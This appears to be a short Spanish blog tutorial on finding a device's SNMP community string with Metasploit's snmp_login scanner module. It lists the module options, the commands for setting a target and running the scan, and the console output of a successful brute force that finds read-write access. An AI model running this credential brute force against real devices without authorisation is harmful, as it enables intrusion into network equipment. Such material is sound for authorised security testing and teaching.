En alguna ocasión fijo que tuvimos que acceder (siempre de forma lícita) a la información de un equipo vía snmp y no sabíamos la community que tenía asociada. Para poder averiguarla, metasploit nos puede ayudar con un módulo de escaneo, que automatiza las pruebas. Como siempre, arrancamos nuestro framework y cargamos el módulo.
msf> use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login)> show options
Module options (auxiliary/scanner/snmp/snmp_login):
Name Setting Required Description
---- ------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
CHOST no The local client address
PASSWORD no The password to test
PASS_FILE pass.f no File containing communities, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 161 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works
THREADS 1 yes The number of concurrent threads
USER_AS_PASS true no Try the username as the password
VERBOSE true yes Whether to print output for all attempts
Llegados a este punto únicamente hay que configurar el host y el resto de parámetros que interese y lanzar el 'ataque' contra la víctima.
msf auxiliary(snmp_login)> set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 msf auxiliary(snmp_login)> run [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying public... [+] SNMP: 192.168.1.1 community string: 'public' info: 'Enterasys Networks, Inc. Matrix N7 Platinum Rev 06.12.03.0003 04/22/2009--12:42 ofc' [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying private... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 0... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 0392a0... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 1234... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 2read... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 4changes... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying ANYCOM... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying Admin... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying C0de... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying CISCO... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying CR52401... [*] :161SNMP - 192.168.1.1:161 - SNMP - Trying IBM... ... [*] Validating scan results from 1 hosts... [*] Host 192.168.1.1 provides READ-WRITE access with community 'public' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Una vez que tengamos la community, en caso de que la intención sea acceder a la información, existen numerosas herramientas que pueden devolverla consultando la community.
No hay comentarios :
Publicar un comentario